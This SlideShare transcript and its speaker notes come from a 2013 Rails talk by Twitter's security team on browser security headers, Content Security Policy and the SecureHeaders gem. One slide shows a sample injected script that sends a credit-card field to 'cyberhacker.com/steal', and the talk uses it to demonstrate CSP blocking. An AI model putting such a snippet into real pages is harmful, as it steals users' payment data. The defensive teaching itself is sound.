SlideShare una empresa de Scribd logo
1 de 43
B




    Not your typical
    Rails security talk
    Header use @ Twitter
    @ocrails
    January 30, 2013
    @ocrails | @ndm
What are headers?




   @ocrails | @ndm
Wait, not those ones




   @ocrails | @ndm
OK, but what are browser headers
Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Accept: text/plain
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101
Firefox/12.0




     @ocrails | @ndm
Response headers
Cache-Control: max-age=3600
ETag: "737060cd8c284d8af7ad3082f209582d"
Location: http://www.w3.org/pub/WWW/People.html




     @ocrails | @ndm
I’m already bored
Time to get awesomer




     @ocrails | @ndm
Security headers
Leverage the browser for security




     @ocrails | @ndm
Sweeeeet. I don’t have write secure code!




   @ocrails | @ndm
Time of convergence




   @ocrails | @ndm
Should you?




   @ocrails | @ndm
Do you use these?
Content security policy
X-Frame-Options
HTTP Strict Transport Security
X-Xss-Protection
X-Content-Type-Options




     @ocrails | @ndm
X-ContentType-Options
Fixes mime sniffing attacks

Only applies to IE, because only IE would
do something like this

X-Content-Type-Options = ‘nosniff’

zzzzZZZZZZzzzzz




     @ocrails | @ndm
X-Xss-Protection
Use the browser’s built in XSS Auditor

X-Xss-Protection: [0-1](; mode=block)?
X-Xss-Protection: 1; mode=block

(SCREENSHOT OF BLOCKED SCRIPT)



zzzzZZZ... huh? zzzzzzzz



     @ocrails | @ndm
X-Frame-Options
Protects you from most classes of
Clickjacking

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW FROM
example.com



zzz... oh hey thats cool. Don’t frame my stuff.


      @ocrails | @ndm
X-Frame-Options




   @owaspoc Jan 2013
   @ndm | @presidentbeef
Firesheep/SSL Strip
Given I don’t haven’t received an HSTS header
And I have a session
When I visit http://example.com
Then I am pwned




     @ocrails | @ndm
Other ssl fails
Posting passwords over HTTP
Loading mixed content
Using protocol relative URLS




     @ocrails | @ndm
Strict Transport Security




   @ocrails | @ndm
How hard is it to use?
Base Case
Strict-transport-security: max-age=10000000
Do all of your subdomains support SSL?
Strict-transport-security: max-age=10000000; includeSubdomains



(SSL FOR DUMMIES PICTURE)




       @ocrails | @ndm
Content secur-a-wat?
Content security policy is reshaping the security model
It is a complicated spec with great differences across browsers
It is not widely adopted




However,
It completely eliminates reflected and stored XSS
It ensures that you never load mixed content
It can protect users with infected browsers
It allows you to accept arbitrary html code from users




       @ocrails | @ndm
Wat? Sounds cool.
x-webkit-csp:
script-src
style-src
img-src
default-src
frame-src
connect-src
font-src
media-src
object-src

report-uri | @ndm
      @ocrails
QuickTime™ and a
                              H.264 decompressor
                        are needed to see this picture.




@owaspoc Jan 2013
@ndm | @presidentbeef
Get rid of XSS, eh?
A script-src directive that doesn’t contain ‘unsafe-inline’ almost
eliminates most forms of cross site scripting.

I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT


      @ocrails | @ndm
@owaspoc Jan 2013
@ndm | @presidentbeef
But I have to...
OK, then I’ll inject:
<script>
 var image = new Image();
 image.src = “cyberhacker.com/steal?data=”+ $(‘#credit_card’).val();
</script>


FALSE! img-src violation, no XHR allowed




       @owaspoc Jan 2013
       @ndm | @presidentbeef
Inline css too? WTF?




   @ocrails | @ndm
Choose your own adventure




   @ocrails | @ndm
Apply all the headers!




   @ocrails | @ndm
How to apply?
Secure headers!
Open sourced earlier this month
https://github.com/twitter/secureheaders




     @ocrails | @ndm
How does it work?
It sets a before_filter that applies each header
Values are based on options passed to filter, or in an initializer
Easily overridden
Secure by default!!!




      @ocrails | @ndm
What about that security policy thingy




There are > 6 differences between these two header values




    @ocrails | @ndm
Yay for standards




   @ocrails | @ndm
Long hair don’t care
About browser inconsistencies




     @ocrails | @ndm
Other features
Set separate policies for http/https
Autofill chrome-extension: (becoming part of spec)
Auto fill missing directives with default value (becoming part of the spec)




      @ocrails | @ndm
You mean there’s more on CSP?
The browser sends reports!




     @ocrails | @ndm
What does the report look like?
{
    "csp-report"=> {
      "document-uri"=>"http://localhost:3000/home",
      "referrer"=>"",
      "blocked-uri"=>"ws://localhost:35729/livereload",
      "violated-directive"=>"xhr-src ws://localhost.twitter.com:*"
    }
}




        @ocrails | @ndm
Quiz: what does this report indicate?
{
    "csp-report"=> {
      "document-uri"=>"http://example.com/welcome",
      "referrer"=>"",
      "blocked-uri"=>"self",
      "violated-directive"=>"inline script base restriction",
      "source-file"=>"http://example.com/welcome",
      "script-sample"=>"alert(1)",
      "line-number"=>81
    }
}
        @ocrails | @ndm
Header gem to the rescue
It forwards CSP reports for Firefox

It makes setting an enforce and report only mode easy for
experimentation




      @ocrails | @ndm
Monitor and Tune ALL the things




   @ocrails | @ndm
Splunk




   @ocrails | @ndm
Trending and anomalies




   @ocrails | @ndm
CSP
                  Phantom Gang         ThreatDeck

       Brakeman                                     Roshambo




                      Email               Email
                    developers           security

@owaspoc Jan 2013
@ndm | @presidentbeef
Who wants to buy me a beer?




   @ocrails | @ndm

Más contenido relacionado

Destacado

Effective approaches to web application security
Effective approaches to web application security Effective approaches to web application security
Effective approaches to web application security
Zane Lackey
 
Attack-driven defense
Attack-driven defenseAttack-driven defense
Attack-driven defense
Zane Lackey
 

Destacado (6)

Effective approaches to web application security
Effective approaches to web application security Effective approaches to web application security
Effective approaches to web application security
 
Building a Modern Security Engineering Organization
Building a Modern Security Engineering OrganizationBuilding a Modern Security Engineering Organization
Building a Modern Security Engineering Organization
 
Docker, Linux Containers, and Security: Does It Add Up?
Docker, Linux Containers, and Security: Does It Add Up?Docker, Linux Containers, and Security: Does It Add Up?
Docker, Linux Containers, and Security: Does It Add Up?
 
Attack-driven defense
Attack-driven defenseAttack-driven defense
Attack-driven defense
 
DevOpsSec: Appling DevOps Principles to Security, DevOpsDays Austin 2012
DevOpsSec: Appling DevOps Principles to Security, DevOpsDays Austin 2012DevOpsSec: Appling DevOps Principles to Security, DevOpsDays Austin 2012
DevOpsSec: Appling DevOps Principles to Security, DevOpsDays Austin 2012
 
How to adapt the SDLC to the era of DevSecOps
How to adapt the SDLC to the era of DevSecOpsHow to adapt the SDLC to the era of DevSecOps
How to adapt the SDLC to the era of DevSecOps
 

Similar a 2013: OC Rails Jan - SecureHeaders library and content security policy

The Economies of Scaling Software - Josh Long and Abdelmonaim Remani
The Economies of Scaling Software - Josh Long and Abdelmonaim RemaniThe Economies of Scaling Software - Josh Long and Abdelmonaim Remani
The Economies of Scaling Software - Josh Long and Abdelmonaim Remani
ploibl
 

Similar a 2013: OC Rails Jan - SecureHeaders library and content security policy (20)

Owasp austin
Owasp austinOwasp austin
Owasp austin
 
Gojko's 5 rules for super responsive Serverless applications
Gojko's 5 rules for super responsive Serverless applicationsGojko's 5 rules for super responsive Serverless applications
Gojko's 5 rules for super responsive Serverless applications
 
Automating secure server baselines with Chef
Automating secure server baselines with ChefAutomating secure server baselines with Chef
Automating secure server baselines with Chef
 
Stop expecting magic fairy dust: Make apps secure by design
Stop expecting magic fairy dust: Make apps secure by designStop expecting magic fairy dust: Make apps secure by design
Stop expecting magic fairy dust: Make apps secure by design
 
Rails security: above and beyond the defaults
Rails security: above and beyond the defaultsRails security: above and beyond the defaults
Rails security: above and beyond the defaults
 
JavaOne 2016 "Java, Microservices, Cloud and Containers"
JavaOne 2016 "Java, Microservices, Cloud and Containers"JavaOne 2016 "Java, Microservices, Cloud and Containers"
JavaOne 2016 "Java, Microservices, Cloud and Containers"
 
Monkeytalk Fall 2012 - Responsive Web Design
Monkeytalk Fall 2012 - Responsive Web DesignMonkeytalk Fall 2012 - Responsive Web Design
Monkeytalk Fall 2012 - Responsive Web Design
 
Lock That Sh*t Down! Auth Security Patterns for Apps, APIs, and Infra
Lock That Sh*t Down! Auth Security Patterns for Apps, APIs, and InfraLock That Sh*t Down! Auth Security Patterns for Apps, APIs, and Infra
Lock That Sh*t Down! Auth Security Patterns for Apps, APIs, and Infra
 
Lock That Shit Down! Auth Security Patterns for Apps, APIs, and Infra - Sprin...
Lock That Shit Down! Auth Security Patterns for Apps, APIs, and Infra - Sprin...Lock That Shit Down! Auth Security Patterns for Apps, APIs, and Infra - Sprin...
Lock That Shit Down! Auth Security Patterns for Apps, APIs, and Infra - Sprin...
 
Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...
 
Elephants in the cloud or How to become cloud ready
Elephants in the cloud or How to become cloud readyElephants in the cloud or How to become cloud ready
Elephants in the cloud or How to become cloud ready
 
Elephants in the cloud or how to become cloud ready
Elephants in the cloud or how to become cloud readyElephants in the cloud or how to become cloud ready
Elephants in the cloud or how to become cloud ready
 
Elephants in the cloud or how to become cloud ready - Krzysztof Adamski, GetI...
Elephants in the cloud or how to become cloud ready - Krzysztof Adamski, GetI...Elephants in the cloud or how to become cloud ready - Krzysztof Adamski, GetI...
Elephants in the cloud or how to become cloud ready - Krzysztof Adamski, GetI...
 
2013 april-screen
2013 april-screen2013 april-screen
2013 april-screen
 
OWASP SF - Reviewing Modern JavaScript Applications
OWASP SF - Reviewing Modern JavaScript ApplicationsOWASP SF - Reviewing Modern JavaScript Applications
OWASP SF - Reviewing Modern JavaScript Applications
 
How to break SAML if I have paws?
How to break SAML if I have paws?How to break SAML if I have paws?
How to break SAML if I have paws?
 
Linux confau 2019: Web Security 2019
Linux confau 2019: Web Security 2019Linux confau 2019: Web Security 2019
Linux confau 2019: Web Security 2019
 
Lock That Shit Down! Auth Security Patterns for Apps, APIs, and Infra - Joker...
Lock That Shit Down! Auth Security Patterns for Apps, APIs, and Infra - Joker...Lock That Shit Down! Auth Security Patterns for Apps, APIs, and Infra - Joker...
Lock That Shit Down! Auth Security Patterns for Apps, APIs, and Infra - Joker...
 
The Economies of Scaling Software - Josh Long and Abdelmonaim Remani
The Economies of Scaling Software - Josh Long and Abdelmonaim RemaniThe Economies of Scaling Software - Josh Long and Abdelmonaim Remani
The Economies of Scaling Software - Josh Long and Abdelmonaim Remani
 
The Economies of Scaling Software - Josh Long and Abdelmonaim Remani
The Economies of Scaling Software - Josh Long and Abdelmonaim RemaniThe Economies of Scaling Software - Josh Long and Abdelmonaim Remani
The Economies of Scaling Software - Josh Long and Abdelmonaim Remani
 

Último

Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
panagenda
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
WSO2
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 

Último (20)

Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Cyberprint. Dark Pink Apt Group [EN].pdf
Cyberprint. Dark Pink Apt Group [EN].pdfCyberprint. Dark Pink Apt Group [EN].pdf
Cyberprint. Dark Pink Apt Group [EN].pdf
 
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKSpring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 AmsterdamDEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
 

2013: OC Rails Jan - SecureHeaders library and content security policy

  • 1. B Not your typical Rails security talk Header use @ Twitter @ocrails January 30, 2013 @ocrails | @ndm
  • 2. What are headers? @ocrails | @ndm
  • 3. Wait, not those ones @ocrails | @ndm
  • 4. OK, but what are browser headers Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== Accept: text/plain Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0 @ocrails | @ndm
  • 5. Response headers Cache-Control: max-age=3600 ETag: "737060cd8c284d8af7ad3082f209582d" Location: http://www.w3.org/pub/WWW/People.html @ocrails | @ndm
  • 6. I’m already bored Time to get awesomer @ocrails | @ndm
  • 7. Security headers Leverage the browser for security @ocrails | @ndm
  • 8. Sweeeeet. I don’t have write secure code! @ocrails | @ndm
  • 9. Time of convergence @ocrails | @ndm
  • 10. Should you? @ocrails | @ndm
  • 11. Do you use these? Content security policy X-Frame-Options HTTP Strict Transport Security X-Xss-Protection X-Content-Type-Options @ocrails | @ndm
  • 12. X-ContentType-Options Fixes mime sniffing attacks Only applies to IE, because only IE would do something like this X-Content-Type-Options = ‘nosniff’ zzzzZZZZZZzzzzz @ocrails | @ndm
  • 13. X-Xss-Protection Use the browser’s built in XSS Auditor X-Xss-Protection: [0-1](; mode=block)? X-Xss-Protection: 1; mode=block (SCREENSHOT OF BLOCKED SCRIPT) zzzzZZZ... huh? zzzzzzzz @ocrails | @ndm
  • 14. X-Frame-Options Protects you from most classes of Clickjacking X-Frame-Options: DENY X-Frame-Options: SAMEORIGIN X-Frame-Options: ALLOW FROM example.com zzz... oh hey thats cool. Don’t frame my stuff. @ocrails | @ndm
  • 15. X-Frame-Options @owaspoc Jan 2013 @ndm | @presidentbeef
  • 16. Firesheep/SSL Strip Given I don’t haven’t received an HSTS header And I have a session When I visit http://example.com Then I am pwned @ocrails | @ndm
  • 17. Other ssl fails Posting passwords over HTTP Loading mixed content Using protocol relative URLS @ocrails | @ndm
  • 18. Strict Transport Security @ocrails | @ndm
  • 19. How hard is it to use? Base Case Strict-transport-security: max-age=10000000 Do all of your subdomains support SSL? Strict-transport-security: max-age=10000000; includeSubdomains (SSL FOR DUMMIES PICTURE) @ocrails | @ndm
  • 20. Content secur-a-wat? Content security policy is reshaping the security model It is a complicated spec with great differences across browsers It is not widely adopted However, It completely eliminates reflected and stored XSS It ensures that you never load mixed content It can protect users with infected browsers It allows you to accept arbitrary html code from users @ocrails | @ndm
  • 22. QuickTime™ and a H.264 decompressor are needed to see this picture. @owaspoc Jan 2013 @ndm | @presidentbeef
  • 23. Get rid of XSS, eh? A script-src directive that doesn’t contain ‘unsafe-inline’ almost eliminates most forms of cross site scripting. I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT @ocrails | @ndm
  • 24. @owaspoc Jan 2013 @ndm | @presidentbeef
  • 25. But I have to... OK, then I’ll inject: <script> var image = new Image(); image.src = “cyberhacker.com/steal?data=”+ $(‘#credit_card’).val(); </script> FALSE! img-src violation, no XHR allowed @owaspoc Jan 2013 @ndm | @presidentbeef
  • 26. Inline css too? WTF? @ocrails | @ndm
  • 27. Choose your own adventure @ocrails | @ndm
  • 28. Apply all the headers! @ocrails | @ndm
  • 29. How to apply? Secure headers! Open sourced earlier this month https://github.com/twitter/secureheaders @ocrails | @ndm
  • 30. How does it work? It sets a before_filter that applies each header Values are based on options passed to filter, or in an initializer Easily overridden Secure by default!!! @ocrails | @ndm
  • 31. What about that security policy thingy There are > 6 differences between these two header values @ocrails | @ndm
  • 32. Yay for standards @ocrails | @ndm
  • 33. Long hair don’t care About browser inconsistencies @ocrails | @ndm
  • 34. Other features Set separate policies for http/https Autofill chrome-extension: (becoming part of spec) Auto fill missing directives with default value (becoming part of the spec) @ocrails | @ndm
  • 35. You mean there’s more on CSP? The browser sends reports! @ocrails | @ndm
  • 36. What does the report look like? { "csp-report"=> { "document-uri"=>"http://localhost:3000/home", "referrer"=>"", "blocked-uri"=>"ws://localhost:35729/livereload", "violated-directive"=>"xhr-src ws://localhost.twitter.com:*" } } @ocrails | @ndm
  • 37. Quiz: what does this report indicate? { "csp-report"=> { "document-uri"=>"http://example.com/welcome", "referrer"=>"", "blocked-uri"=>"self", "violated-directive"=>"inline script base restriction", "source-file"=>"http://example.com/welcome", "script-sample"=>"alert(1)", "line-number"=>81 } } @ocrails | @ndm
  • 38. Header gem to the rescue It forwards CSP reports for Firefox It makes setting an enforce and report only mode easy for experimentation @ocrails | @ndm
  • 39. Monitor and Tune ALL the things @ocrails | @ndm
  • 40. Splunk @ocrails | @ndm
  • 41. Trending and anomalies @ocrails | @ndm
  • 42. CSP Phantom Gang ThreatDeck Brakeman Roshambo Email Email developers security @owaspoc Jan 2013 @ndm | @presidentbeef
  • 43. Who wants to buy me a beer? @ocrails | @ndm

Notas del editor

  1. Hello AppSec USA. My name is Alex Smolen, this is Neil Matatall and this is Justin Collins. We&apos;re on Twitter&apos;s Product Security team and today we&apos;re going to talk to you about security automation at Twitter.
  2. Talk about http basic authorization
  3. Many of these headers not encourage best practices while providing a better user experience and saving resources
  4. Take a survey
  5. save resources since nothing is framed
  6. Twitter has had clickjacking problems in the past. While xfo does not solve all clickjacking issues, it does solve a very common case and is generally a very quick win that is easy to integrate.
  7. hsts preload and max-age
  8. Explain how redirecting to https doesn’t protect the initial request Save round trip
  9. Explain mixed content: MITM assets Firesheep Cookies sent Supported in webkit (phantomjs) accept arbitrary and safe because inserted scripts won’t execute on* events javascript uris restrict using eval
  10. A report from one of our wonderful whitehat reporters gave us a drop of happiness when he said that a successful xss attempt had been thwarted by CSP. TRANSITION: we took stock of what headers were implemented on our properties, and we were not satisfied. They were applied inconsistently and a by a variety of one-off methods.
  11. strings or hashes
  12. Yeah, some browsers protect you, but not all support it
  13. Content security policy defines what can &quot;run&quot; on a page and any deviation creates an alert. And Twitter was an early adopter. We saw that this could not only potentially protect our users, but give a large number of data points as to what the user is experiencing. We have used CSP to help detect XSS and mixed-content by leveraging the reports sent to us by the users&apos; browsers. This compliments the static and dynamic analysis provided by brakeman and phantom-gang in a unique way as we are receiving information from the user. We send the CSP reports to a central scribe host (describe: massively scalable endpoint to collect and aggregate large amounts of data) which writes to hadoop file system which we can run &quot;big data&quot; reports against using pig/scalding. We send this information to SADB where we can search and sort more easily.